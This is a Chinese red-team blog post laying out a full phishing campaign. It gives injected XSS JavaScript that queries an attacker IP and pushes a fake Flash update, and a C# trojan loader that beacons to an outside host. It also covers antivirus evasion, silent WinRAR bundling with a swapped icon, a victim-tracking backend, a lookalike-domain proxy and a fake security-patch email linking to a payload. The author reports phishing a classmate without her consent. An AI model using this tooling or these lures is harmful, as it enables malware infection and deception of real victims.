红队攻防系列之花式鱼竿钓鱼篇

0x0 前言

  钓鱼的核心主要还是思路要骚。本文主要从一个完整的钓鱼流程进行讲解,记录下自己在学习这方面的知识时,如何将其有机结合起来,实现一个蓝队无感的钓鱼攻击流程,真正体验下如何从细节入手,将最危险的地方化为最安全的地方。

0x1 鱼钩隐藏

传统攻防的钓鱼扔黑不溜秋的exe,也没做什么进程迁移之类的动作,就算是个电脑小白也知道不正常,一下子就把你的程序给终结掉了,然后你也成功暴露了,之后蹲黑名单。

如何将鱼钩更好的隐藏呢?

这里我抛转引玉说几个点:

1.XSS

直接插入这个js文件即可

<script src="/hacked.js"></script>

hacked.js 需要注意下面这几个点

1.判断UA,电脑端才加载exe,android则加载apk

2.向后台API发送查询,是否上钩了,是的话不加载,不是的话加载

3.js一定要注意混淆和命名,采用原生ajax,兼容性会更好

window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}

window.confirm = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);
var result = window.frames[0].window.confirm(name);
iframe.parentNode.removeChild(iframe);
return result;
}

function isPc() {
    if (navigator.userAgent.match(/(iPhone|Android)/i)) {
        return false;
    } else {
        return true;
    }
}

function isRise() {
    var xmlHttp;
    if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest();
    } else {
        xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlHttp.open("GET", "http://101.200.157.195:8085/api.php?m=api&do=isExist", "true");
    xmlHttp.send();
    xmlHttp.onreadystatechange = function() {
        if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
            var resData = xmlHttp.responseText;
            if (resData == "ok") {
            } else {
                download();
            }
        }
    }
}

function download(){
    window.alert = function(name){var iframe = document.createElement("IFRAME");iframe.style.display="none";iframe.setAttribute("src", 'data:text/plain,');
    document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);};
    alert("您的FLASH版本过低,请尝试升级后访问该页面!");
    window.location.href="http://xxx/";
}

window.onload = function(){
    if(!isPc()){
        alert("当前页面只能在电脑PC端中加载,请稍后重试...");
    }else{
        isRise();
    }
}

2.钓鱼网站(比如flash)

我们需要去申请一个近似的域名https://www.freenom.com/zh/freeandpaiddomains.html

https://www.flash.cn/ 我们需要模拟就是这个网站

这里我选取的域名是:flash-cn.cf

下面我们只要简单伪造下钓鱼的地址就行了。

这里我用的是学生机,所以后面我用了一个香港主机做nginx的反向代理,一方面保护了自己,

一方面也能绕过备案。

下面我们就是直接搭建个钓鱼网站了。

把我们的木马改名为:flashplayerpp_install_cn.exe

然后放在我们建立的latest目录下。

然后放在docker下,我们以后需要做的就是

docker cp host_path containerID:/var/www/html/cn/

0x1.1 木马处理

这里需要注意木马要做好免杀,否则运行的时候就要被杀了。

免杀的方式很多,网上很多方法可以过360,这里笔者采用shellcode加密的方式能达到暂时绕过360(当然还有非常多的绕过方式,这些点最好自己挖掘一下,发出来的话一般很快就会和谐了,欢迎有师傅找我研究下。)

这里我们需要自己写一个加载器,封装感知函数放进加载器,这样木马如果真正加载的时候就会对我们的API发起请求,这样我们就能捕获到木马成功运行了。

using System;
using System.Net;
using System.Threading;

namespace testHttp
{
    class Program
    {
        static void Main(string[] args)
        {
            ThreadStart childref = new ThreadStart(sendLog);
            Thread childThread = new Thread(childref);
            childThread.Start();
        }

        public static void sendLog()
        {
            string url = "http://hackerc.com/api.php?m=api&do=myLogk";
            HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
            request.Method = "HEAD";
            request.Timeout = 100000;
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
        }
    }
}

然后我们把这个封装到木马里面即可。

基本能绕过360杀毒,成功发出感知请求,用window窗口方式编译,能实现无控制台提示静默执行。

0x1.2 隐蔽处理

这里主要是需要将我们的木马与正常程序去捆绑,这样用户执行恶意文件的时候其实我们的木马是在静默运行的,而用户执行正常的程序操作。

这里为了免杀效果更好,我选择了winrar自解压的方式去包装我们的木马。

首先我们需要准备好木马、正常程序和Restorator这个工具:

1.选中两个程序,然后添加到压缩文件,创建自解压

2.高级自解压选项,常规:解压路径 ——> 绝对路径:

路径写C:\windows\temp

3.高级自解压选项->安装

C:\windows\temp\选中的木马名
C:\windows\temp\选中的程序名

4.高级自解压选项->模式

静默模式->隐藏所有

5.高级自解压选项->更新

更新模式->解压并更新

覆盖模式->覆盖所有文件

6.确定

执行一下,发现达到了效果,在这里我们还需要做一些细节的伪装.

Restorator 将压缩后的程序图标替换为flashplayer_install_cn的图标,然后名字也改为

flashplayer_install_cn.exe

基本能仿照的非常像。

0x2 鱼竿感知

鱼竿感知系统其实非常重要,比如鱼儿上钩,你还一直弹窗,这样是个小白也能知道不正常。那么如何做好一个简单的感知系统呢?其实非常简单,这里我丢一个简单的demo,实际上它是可以写成一个框架的(这个先不考虑放出来)

这里我采用了PHP + MYSQL的方式

首先新建个表fish

表设计:

字段 类型 说明
id int 主键
ip varchar 来源ip
ua varchar 来源UA
count int 点击次数
status varchar 当前状态

SQL数据库语句:

DROP DATABASE IF EXISTS  fishperception;
CREATE DATABASE fishperception;
USE fishperception;
DROP TABLE IF EXISTS fish;
CREATE TABLE fish(
    `id` INT AUTO_INCREMENT,
    `ip` VARCHAR(200) DEFAULT  NULL,
    `ua` VARCHAR(255) DEFAULT  NULL,
    `count` INT DEFAULT NULL,
    `status` VARCHAR(10) DEFAULT NULL,
    primary key(`id`)
);

后端的简单记录Demo:

提供了几个API:

api.php?m=api&do=myLog  // 这个是木马执行时候请求写入的api
api.php?m=api&do=isExist //这个用来js判断是否已经上线的,已经上线则不执行操作

提供了一个基本简单的管理demo:

如果还想继续钓鱼某个IP或者某IP掉线的话,可以登录后台删除这个记录,这样就能继续针对某个特定ip进行钓鱼。

为了随时转移和方便,我们可以用docker来实现一键部署感知系统。

基于lamp的docker环境可以快速搭建。

scp -r docker-lamp-ok root@X.X.X.X:/root/

然后服务器里面:

docker-compose up --build

然后运行起来了,然后配置flash-cn.cf的nginx代理,转发我们的钓鱼内容。

cd /etc/nginx/conf.d

编辑一个Server

server
{
    listen 80;
    server_name flash-cn.cf;
    location / {
        proxy_redirect off;
        proxy_set_header Host $host;
        proxy_set_header X-Real-Ip $remote_addr;
        proxy_set_header X-Forwarded-For $remote_addr;

        proxy_pass http://139.159.x.x:8005;
        }
}

然后systemctl restart nginx即可

0x3 选择水域

比较常用方式如传统的邮箱打点、dns劫持欺骗等方式

其实生活中有非常多攻击点(主要是人们总是自信地认为黑客不会在他们的身边)

班级群里面、教师群等社交关系群里面,本身具备了高信任的特点,所以制作点热点话题,打开一个URL并不是什么难事。

还有供应链打击、物理社工等...

这里笔者还是比较喜欢传统的邮箱钓鱼吧,它在发挥小型目标hw行动的时候,是非常好用的。

0x3.1 邮箱钓鱼思路

基于邮箱的钓鱼,有人说它比较老套了,其实不然,笔者在后渗透的项目经历中发现,其实邮箱钓鱼的攻击面比较广泛,掌握好切入点,巧学活用能发挥比较巨大的作用(切忌一大批的发垃圾邮件信息)。

1.可信邮箱

可信邮箱邮箱选取优先选择同单位下的域名邮箱,再者可以选择一些高权的邮箱比如gov等之类的。

笔者对某学校做过定向的渗透打击,通过OA来提取出某领导的邮箱账号密码,后面通过伪造工作邮件+附件信息,基本一打一个准。

2.针对性发送

最好根据组织结构,挑选一些中间人来进行打击,切记大量发送,引起别人警觉。

3.邮箱内容

这里我说下比较常用的就是伪造漏洞补丁。

这里就涉及到一些钓鱼模板的使用了。

这里举一个简单的例子,实际上要针对业务和对象来选择合适的模板。

一、漏洞情况分析

Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。Apache Spark 是一种与 Hadoop 相似的开源集群计算环境,启用了内存分布数据集,除了能够提供交互式查询外,它还可以优化迭代工作负载。Apache Spark 是在 Scala 语言中实现的,它将 Scala 用作其应用程序框架。

2020年6月23日,国家信息安全漏洞共享平台(CNVD)收录了由杭州安恒信息技术股份有限公司报送的Apache Spark远程代码执行漏洞。由于Spark的认证机制存在缺陷,导致共享密钥认证失效。攻击者利用该漏洞,可在未授权的情况下,远程发送精心构造的过程调用指令,启动Spark集群上的应用程序资源,获得目标服务器的权限,实现远程代码执行。

CNVD对该漏洞的综合评级为“高危”。

二、漏洞影响范围

漏洞影响的产品版本包括:

Apache Spark < =2.4.5

三、漏洞处置建议
目前,Apache官方已发布新版本修复此漏洞,建议用户立即升级至最新版本:
https://hackker.com/360/xx.zip

4.SPF配置不当导致邮件伪造

SPF:

SPF(Sender Policy Framework) 发送策略框架,是一种以IP地址认证电子邮件发件人的身份的技术,是为防范垃圾邮件而提出来的一种DNS记录类型,他是一种TXT类型的记录。接收邮件方会首先检查域名的SPF记录,来确定发件人的IP地址是否合法。

如果SPF没配置的话,那么任何人都可以像邮件服务器自定义内容发送邮件,这样就会导致邮件伪造。(邮件的中转是通过SMTP协议的)

如何检测是否存在这种漏洞

1.通过在线网站 https://emkei.cz/ 去测试是否能发送成功

2.手工测试(比较方便,个人比较常用)

nslookup -type=txt domain

这样就说明不存在漏洞。

这样就说明没配置SPF。

关于这个漏洞利用可以放在下回细讲,简单利用可以参考一个工具:

Swaks

0x4 实战效果

上面说的只是一些点,真正的攻击是需要自己针对目标定制一套适用的钓鱼方式的。

这里提了提高成功率,我选取了我们班某位胸大无脑的MM同学作为测试,首先通过一些话语让她产生好奇心

然后制作一个类似的求爱视频的网站给她:

后面通过发送网址给她:

中间还是出现了一些问题:

最后我做了一些迂回, 比如吐槽之类的,给MM造成心理压迫:

最后MM还是成功打开了,然后询问我为什么视频还没有成功加载,也没有提示版本过低。。。。

到了这里我觉得是时候跟MM坦白了。

最后看下@MM 对我的评价:

0x5 总结

  这里笔者钓鱼采取了比较激进的直接获取客户机权限的方式,其实针对无感攻击比较简单还是社交网络的画像提取,这样我们不仅可以轻松掌握大量网络体系信息和员工习惯,还可以进行成功率更高的定向打击。钓鱼是一门巧活细活,博弈性比较强,但是攻击性让人防不胜防,希望有研究这方面的大佬可以带带我这个小萌新,想跟师傅们学习各种骚姿势,认识更多场景,去完善我的钓鱼框架(因为目前很多特殊情况没考虑,比如直接被杀软杀了木马,那么也会暴露,感觉攻防对抗真的错综复杂,希望APT大佬能拉我这个菜鸡进小密圈)。

0x6 参考链接

阿里白帽大会-红队的踩”坑”之路总结-Wing

记一次真实的邮件钓鱼演练

关于邮件伪造的一些新思路

红队攻击:轻松玩转邮件钓鱼合天智汇

Flash水坑钓鱼)

点击收藏 | 2 关注 | 3
登录 后跟帖